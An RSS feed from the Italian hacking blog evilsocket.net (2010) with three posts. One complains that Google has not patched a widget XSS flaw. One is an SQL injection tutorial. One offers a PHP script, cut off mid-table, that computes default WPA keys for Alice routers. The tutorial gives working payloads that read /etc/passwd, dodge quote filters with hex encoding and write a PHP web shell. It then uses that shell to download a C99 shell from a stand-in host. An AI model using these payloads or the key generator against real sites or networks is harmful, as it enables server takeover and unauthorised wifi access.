<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>evilsocket.net &#187; Hacking</title>
	<atom:link href="http://www.evilsocket.net/category/hacking/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evilsocket.net</link>
	<description>If you can't understand it, it doesn't mean it's wrong ...</description>
	<lastBuildDate>Wed, 21 Jul 2010 00:16:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Come hackerare Google e rimanere indisturbato per un anno.</title>
		<link>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html</link>
		<comments>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html#comments</comments>
		<pubDate>Sun, 11 Jul 2010 17:06:25 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[auth]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[emanuele gentili]]></category>
		<category><![CDATA[emgent]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[widgets]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1296</guid>
		<description><![CDATA[Circa un anno fa, per la precisione il 13 maggio 2009, postai sul blog questo articolo (il video è corrotto, quello fixato lo troverete qui sotto), nel quale dimostravo senza alcuna ombra di dubbio come Google, attraverso il sistema di pubblicazione dei widgets, fosse estremamente vulnerabile ad attacchi di tipo XSS, CSRF e quant&#8217;altro si possa [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/1024/google-0-io-1.html' rel='bookmark' title='Permanent Link: Google : 0, Io : 1'>Google : 0, Io : 1</a></li>
<li><a href='http://www.evilsocket.net/936/hybris-memory-lookup-now-google-powered.html' rel='bookmark' title='Permanent Link: Hybris memory lookup, now Google powered!!!'>Hybris memory lookup, now Google powered!!!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/07/google_hack1.jpg"><img class="alignleft size-medium wp-image-1299" title="google_hack1" src="http://www.evilsocket.net/wp-content/uploads/2010/07/google_hack1-300x224.jpg" alt="" width="180" height="134" /></a>Circa un anno fa, per la precisione il 13 maggio 2009, postai sul blog <a href="http://www.evilsocket.net/64/google-hacking.html" target="_blank">questo articolo</a> (il video è corrotto, quello fixato lo troverete qui sotto), nel quale dimostravo senza alcuna ombra di dubbio come Google, attraverso il sistema di pubblicazione dei widgets, fosse estremamente vulnerabile ad attacchi di tipo XSS, CSRF e quant&#8217;altro si possa fare potendo eseguire codice javascript nella pagina stessa di Google.</p>
<p>Ebbene, è passato più di un anno, Google sicuramente avrà subito tantissimi cambiamenti sia a livello grafico che a livello di funzionalità, eppure questo problema non è ancora stato patchato.</p>
<p><span id="more-1296"></span>Qui di seguito trovate il mio video, chiedo scusa per la bassa qualità ma quello originale è stato danneggiato tra un backup e l&#8217;altro, così il meglio che ho potuto fare è stato scaricarne la versione mp4 da youtube, dove un ragazzo che non conosco ha postato lo stesso video in bassa definizione.</p>
<p><center><br />
<object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=13248215&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=13248215&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/13248215">Hacking Google 13 May 2009</a> from <a href="http://vimeo.com/user2113367">evilsocket</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p></center></p>
<p>Poi, qualche tempo fa, mi sono imbattuto in un <a href="http://vimeo.com/11441059" target="_blank">altro video</a>, postato su Vimeo da <a href="http://www.backtrack.it/~emgent/" target="_blank">Emanuele Gentili</a>, il quale mostra sostanzialmente la stessa vulnerabilità.</p>
<p>Il buon emgent, noto per la sua politica di responsible disclousure, ha immediatamente scritto al team tecnico di Google &#8230; e cosa gli hanno risposto ?</p>
<blockquote><p>Si, è vero, è un bug, ma non sappiamo come patchare.. hai qualche suggerimento?</p></blockquote>
<p>Perfetto, non solo in più di un anno non è cambiato nulla, non solo questa vulnerabilità potrebbe essere sfruttata in scenari praticamente infiniti, ma lo staff di Google si permette anche di rispondere così!</p>
<p>Che dire &#8230; bah! -.-</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1296">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1296&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/1024/google-0-io-1.html' rel='bookmark' title='Permanent Link: Google : 0, Io : 1'>Google : 0, Io : 1</a></li>
<li><a href='http://www.evilsocket.net/936/hybris-memory-lookup-now-google-powered.html' rel='bookmark' title='Permanent Link: Hybris memory lookup, now Google powered!!!'>Hybris memory lookup, now Google powered!!!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Tecniche avanzate di SQL Injection, quello che non tutti sanno!</title>
		<link>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html</link>
		<comments>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:39:08 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[c99]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[dumpfile]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[into dumpfile]]></category>
		<category><![CDATA[load_file]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1245</guid>
		<description><![CDATA[Qualche tempo fa scrissi una breve (e decisamente incompleta) introduzione alle sql injections che illustrava i concetti di base più l&#8217;enumerazione di tabelle e colonne tramite il famoso information_schema. Sabato scorso son passato all&#8217;hack meeting, invitato da un (nuovo) amico, e mi sono imbattuto in uno speech proprio su questa tecnica di intrusione (che devo [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/889/usare-la-serializzazione-in-php-per-il-caching-delle-query-sql.html' rel='bookmark' title='Permanent Link: Usare la serializzazione in PHP per il caching delle query SQL'>Usare la serializzazione in PHP per il caching delle query SQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Qualche tempo fa scrissi una breve (e decisamente incompleta) <a href="http://www.evilsocket.net/74/introduction-to-sql-injections.html" target="_blank">introduzione alle sql injections</a> che illustrava i concetti di base più l&#8217;enumerazione di tabelle e colonne tramite il famoso information_schema.</p>
<p>Sabato scorso son passato all&#8217;hack meeting, invitato da un (nuovo) amico, e mi sono imbattuto in uno speech proprio su questa tecnica di intrusione (che devo dire è anche la mia preferita per quanto concerne il web hacking <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) ed il ragazzo che lo stava tenendo ha detto alla fine la frase &#8220;con le sql injections si possono fare innumerevoli cose&#8221; che mi ha fatto venir voglia di scrivere questo articolo.</p>
<p>Ci sono alcuni aspetti delle SQL injections che in realtà non sono molto conosciuti, ma che aprono davvero un mondo e portano un ipotetico attaccante (o un informatico che deve porre rimedio a questa piaga) nella condizione di avere accessi con privilegi ben superiori a quelli che una &#8220;normale&#8221; iniezione darebbe.</p>
<h2><span id="more-1245"></span>Accesso in lettura al file system.</h2>
<p>MySQL, così come tantissimi altri database, hanno delle funzioni integrate nel linguaggio stesso che offrono funzionalità avanzate all&#8217;interno delle query, basti pensare alle funzioni <strong>CONCAT()</strong> o <strong>MID() </strong>per operare sulle stringhe.</p>
<p>Una funzione non molto conosciuta, principalmente perchè son pochi gli scenari nella quale convenga usarla, è la funzione<strong> LOAD_FILE() </strong>che, come suggerisce il nome stesso, serve per caricare il contenuto di un file all&#8217;interno di un buffer di MySQL.</p>
<p>Ad esempio, eseguendo la query :</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>)</p></blockquote>
<p>Riceveremo come risultato il contenuto del rinomato file &#8230; beh, perchè non utilizzare tale funzione anche all&#8217;interno di un injection ?</p>
<p>Invece di un ipotetico :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,username,password <strong>FROM</strong> users<strong><em>/** </em></strong></p></blockquote>
<p>Potremmo fregarcene della tabella utenti ed andarci direttamente a spulciare il filesystem :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,<strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>),NULL<strong><em>/**</em></strong></p></blockquote>
<h2>Come aggirare la rogna degli apici.</h2>
<p>Seguendo l&#8217;esempio qui sopra riportato, vorrei parlare di un altro &#8220;trick&#8221; di MySQL non motlo conosciuto &#8230; spesso durante il testing di una sql injection, ci rendiamo conto che utilizzare degli apici all&#8217;interno del codice da noi iniettato diventa una vera rogna, questo specialmente quando la query che esegue la pagina web (e che noi non conosciamo del tutto) è molto complessa, con diverse JOIN ecc, risultando di volta in volta in un errore di sintassi perchè abbiamo messo un apice di troppo (che magari ci è stato segato dalle magic quotes, le puttane!!!).</p>
<p>Questo potrebbe accadere ad esempio, con gli apici utilizzati per passare l&#8217;argomento alla funzione LOAD_FILE &#8230; ma in realtà, aggirare questo problema (e metterlo nel cxxo alle gpc!) è abbastanza semplice se si conosce il modo &#8230; basta codificare in esadecimale! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Ovvero, invece di utilizzare la dicitura</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>)</p></blockquote>
<p>Utilizzeremo</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em> 0x2f6574632f706173737764 </em>)</p></blockquote>
<p>Dove 0x2f6574632f706173737764 corrisponde alla stringa /etc/passwd codificata in esadecimale &#8230; e così, via gli apici! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Questo si può utilizzare anche nei confronti (0x61646d696e = admin) :</p>
<blockquote><p><strong>SELECT</strong> NULL,NULL,username,password <strong>WHERE</strong> username=0x61646d696e</p></blockquote>
<p>E così via, generalmente ogni qual volta bisognerebbe utilizzare una stringa ma per un motivo o per un altro non possiamo (o vogliamo perchè siam pigri) farlo.</p>
<h2>Accesso in scrittura al file system.</h2>
<p>Mi son tenuto questa chicca per ultima perchè è la più sfiziosa <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Non sarebbe bello poter arrivare, partendo da una semplice sql injection, ad una shell php (o di qual si voglia linguaggio) pronta a runnare sul server in questione, così da poterci spulciare tutto il file system in pace ed eseguire comandi da remoto?</p>
<p>Beh, è fattibilissimo! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Analogamenente alla funzione LOAD_FILE precedentemente vista, esiste anche una coppia di keywords MySQL che invece ci permette di inserire del contenuto arbitrario all&#8217;interno del file che vogliamo, tale magica accoppiata è <strong>INTO DUMPFILE</strong> .</p>
<p>C&#8217;è da specificare una cosa che, anche essendo ovvia, non è così banale &#8230; dovendo specificare come argomento il path completo del file che vogliamo creare (o sovrascrivere!!), è sottointeso che tale cartella debba essere scrivibile dall&#8217;utente con i quali privilegi è in esecuzione il demone MySQL.</p>
<p>Se ci interessasse solamente creare un file non necessariamente raggiungibile via web (quindi non nella cartella nella quale apache si aspetta i file html e php), potremmo benissimo scrivere nella /tmp/ che generalmente è accessibile da tutti, utilizzando la query :</p>
<blockquote><p><strong>SELECT</strong> &#8216;contenuto&#8217; <strong>INTO</strong> <strong>DUMPFILE</strong> &#8216;/tmp/blablabla&#8217;</p></blockquote>
<p>O meglio ancora, codificato in esadecimale come abbiamo visto prima :</p>
<blockquote><p><strong>SELECT</strong> 0x636f6e74656e75746f <strong>INTO</strong> <strong>DUMPFILE</strong> 0x2f746d702f626c61626c61626c61</p></blockquote>
<p>Dove &#8220;contenuto&#8221; ovviamente è quello che vogliamo mettere dentro il file &#8230;</p>
<p>Scrivere nella /tmp non è molto utile, a meno che il sito sia affetto anche da una LFI (local file inclusion = inclusione di file locali) e quindi potremmo prima creare il file e successivamente forzare una pagina ad includerlo per eseguirlo.</p>
<p>Quello che ci interessa veramente però (almeno quello che solitamente interessa a me <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) è scrivere nella stessa cartella che contiene il sito, così da poterci mettere una shell ed utilizzarla in tutta comodità.</p>
<p>Non esiste (o almeno io non l&#8217;ho trovato) il modo, tramite una query SQL, di trovare il full path della htdocs, però ci sono un paio di metodi che, con un po di intuito e fortuna funzionano il 99% delle volte.</p>
<p>Il primo, tramite il metodo sopra indicato di lettura del file system,  consiste nel leggere il file di configurazione di apache (httpd.conf) che solitamente è contenuto in /etc/[qualcosa] (dove [qualcosa] è cmq un valore che varia di poco da server a server ed è di conseguenza facilmente &#8216;guessabile&#8217;) e vedere i path dei vari virtual hosts .</p>
<p>Questo metodo però, necessita che l&#8217;utente con il quale runna MySQL possa leggere quel file e non sempre questo è possibile anzi, se chi ha configurato il server è bravo, non è quasi mai possibile.</p>
<p>Il secondo metodo invece, funziona praticamente sempre <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ormai, la stragrande maggioranza dei siti utilizza applicazioni web cms quali WordPress, PHPNuke (OMFG c&#8217;è ancora chi lo usa!!!), PHPFusion, Joomla e così via.</p>
<p>Tali sistemi, al momento dell&#8217;installazione, inseriscono in una tabella (che varia da sistema a sistema, ma essendo questi sistemi opensource cmq le tabelle sono note) il full path nel quale sono stati installati, il più delle volte per poter includere correttamente i vari file php che gli servono, altre volte (specialmente nel caso dei forum) per sapere in quale cartella, ad esempio, possono spostare gli allegati uploadati in un post.</p>
<p>Ebbene &#8230; è proprio quello che ci serve!</p>
<p>Abbiamo una sql injection, sappiamo quale sistema PHP gira nel sito, sappiamo quale colonna di quale tabella ci interessa &#8230; ci basterà utilizzare una sql injection che selezioni quella variabile dal database e eccoci qui, abbiamo il full path di installazione del sito che stiamo attaccando!</p>
<p>A questo punto, ipotizzando che il path sia &#8220;/var/www/htdocs/sito.com/&#8221; (ipotesi tra l&#8217;altro non molto distante dalle casistiche reali), potremmo utilizzare una sql injection del tipo :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,&#8217;<strong>&lt;?php</strong> <strong>passthru($_GET["cmd"]); ?</strong><strong>&gt;</strong>&#8216;,NULL <strong>INTO</strong> <strong>DUMPFILE</strong> &#8216;/var/www/htdocs/sito.com/lulz.php&#8217;/**</p></blockquote>
<p>(Magari il tutto opportunamente codificato in hex come visto prima, fate vobis che a me non va XD)</p>
<p>Dalla query risulta evidente come abbiamo scritto un piccolo codice php all&#8217;interno della pagina lulz.php, codice che eseguirà qualsiasi comando gli venga passato tramite la variabile &#8220;cmd&#8221;, mostrandone il contenuto &#8230; a questo punto, o utiliziamo lo script direttamente, del tipo :</p>
<blockquote><p>http://www.site.com/lulz.php?cmd=ls</p></blockquote>
<p>Oppure, cosa ancor più comoda, potremmo utilizzarlo per scaricare, tramite wget, una shell un attimino più decente (magari una C99) :</p>
<blockquote><p>http://www.site.com/lulz.php?cmd=wget%20http://www.evilsite.com/c99.txt</p></blockquote>
<blockquote><p>http://www.site.com/lulz.php?cmd=mv%20c99.txt%20c99.php</p></blockquote>
<p>Ed eccoci qua, da una semplice e comune SQL injection, siamo passati ad avere una shell sul server! Non male vero? Soprattutto se pensate che tramite queste funzioni è possibile accedere, tramite i privilegi del demone MySQL, anche ad eventuali risorse di rete &#8230; a voi la ricerca! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Ci tengo a precisare che non sto scrivendo un articolo di questo genere, dopo tanto tempo che non ne scrivevo, per incitare le persone a lamerare, ma solo per sensibilizzare quei programmatori che troppo spesso, soprattutto in ambito professionale, sottovalutano dei bug apparentemente piccoli ma che, come mostrato, possono portare a conseguenze veramente disastrose.</p>
<p>Cya the next time! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1245">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1245&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/889/usare-la-serializzazione-in-php-per-il-caching-delle-query-sql.html' rel='bookmark' title='Permanent Link: Usare la serializzazione in PHP per il caching delle query SQL'>Usare la serializzazione in PHP per il caching delle query SQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi</title>
		<link>http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html</link>
		<comments>http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html#comments</comments>
		<pubDate>Sun, 06 Jun 2010 17:57:26 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sorgenti]]></category>
		<category><![CDATA[Wardriving]]></category>
		<category><![CDATA[AGPF]]></category>
		<category><![CDATA[algoritmo]]></category>
		<category><![CDATA[alice]]></category>
		<category><![CDATA[chiave]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[generazione]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[pirelli]]></category>
		<category><![CDATA[warcracking]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[win32]]></category>
		<category><![CDATA[wpa]]></category>
		<category><![CDATA[wpa2]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1173</guid>
		<description><![CDATA[Come preannunciato nell&#8217;artcolo precedente sui router Fastweb, mi sono adoperato a studiare la brillante ricerca della WhiteHatCrew sui router di Alice, denominati AGPF, al fine di implementare uno script per la generazione della chiave WPA di default. A differenza del caso FastWeb, il quale per il calcolo si basava solo sull SSID della rete, in [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router FastWeb Pirelli.'>Script per il calcolo della chiave WPA dei router FastWeb Pirelli.</a></li>
<li><a href='http://www.evilsocket.net/96/alice-router-unlocker.html' rel='bookmark' title='Permanent Link: Alice Router Unlocker'>Alice Router Unlocker</a></li>
<li><a href='http://www.evilsocket.net/1375/informazione-di-servizio-chiave-pubblica.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, Chiave Pubblica'>Informazione di Servizio, Chiave Pubblica</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Come preannunciato nell&#8217;<a href="http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html" target="_blank">artcolo precedente</a> sui router Fastweb, mi sono adoperato a studiare la <a href="http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/" target="_blank">brillante ricerca</a> della WhiteHatCrew sui router di Alice, denominati AGPF, al fine di implementare uno script per la generazione della chiave WPA di default.</p>
<p><span id="more-1173"></span></p>
<p>A differenza del caso FastWeb, il quale per il calcolo si basava solo sull SSID della rete, in questo caso ci serve anche il seriale del router che, come dimostrato dalla ricerca precedentemente linkata, è ricavabile tramite un sistema a due incognite dal quale, la WHC, ha tirato fuori una tabella di valori noti, tabella che ho inserito nel mio script.</p>
<p>Di conseguenza, a meno che il lettore non ampli la propria tabella a mano, seguendo le indicazioni della WHC, lo script funzionerà solo con SSID del tipo :</p>
<ul>
<li>Alice-96xxxxxx</li>
<li>Alice-93xxxxxx</li>
<li>Alice-56xxxxxx</li>
<li>Alice-55xxxxxx</li>
<li>Alice-54xxxxxx</li>
<li>Alice-48xxxxxx</li>
<li>Alice-46xxxxxx</li>
</ul>
<p>Sono sicuro cmq che cercando nella rete delle tabelle un po più estese si trovano <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Lo script è commentato (come il precedente), in modo tale il lettore avrà la possibilità non solo di utilizzarlo, ma anche di capirlo, che è la cosa che più mi preme al fine di una condivisione libera dell&#8217;informazione e della cultura informatica in generale.</p>
<p>Enjoy.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:100%;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #666666; font-style: italic;">/***************************************************************************<br />
&nbsp;* &nbsp; Alice AGPF WPA Discovery &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; by evilsocket - evilsocket@gmail.com - http://www.evilsocket.net &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; based on &lt;http://wifiresearchers.wordpress.com/&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; This program is free software; you can redistribute it and/or modify &nbsp;*<br />
&nbsp;* &nbsp; it under the terms of the GNU General Public License as published by &nbsp;*<br />
&nbsp;* &nbsp; the Free Software Foundation; either version 2 of the License, or &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; (at your option) any later version. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; This program is distributed in the hope that it will be useful, &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of &nbsp; &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. &nbsp;See the &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; GNU General Public License for more details. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; You should have received a copy of the GNU General Public License &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; along with this program; if not, write to the &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; Free Software Foundation, Inc., &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; 59 Temple Place - Suite 330, Boston, MA &nbsp;02111-1307, USA. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;***************************************************************************/</span><br />
<br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Tabella per il calcolo del seriale.<br />
&nbsp;*<br />
&nbsp;* First SSID digits =&gt; ( SN1, k, Q )<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$SN_TABLE</span> &nbsp; <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'96'</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'69102'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">13</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">96017051</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'93'</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'69101'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">13</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">92398366</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
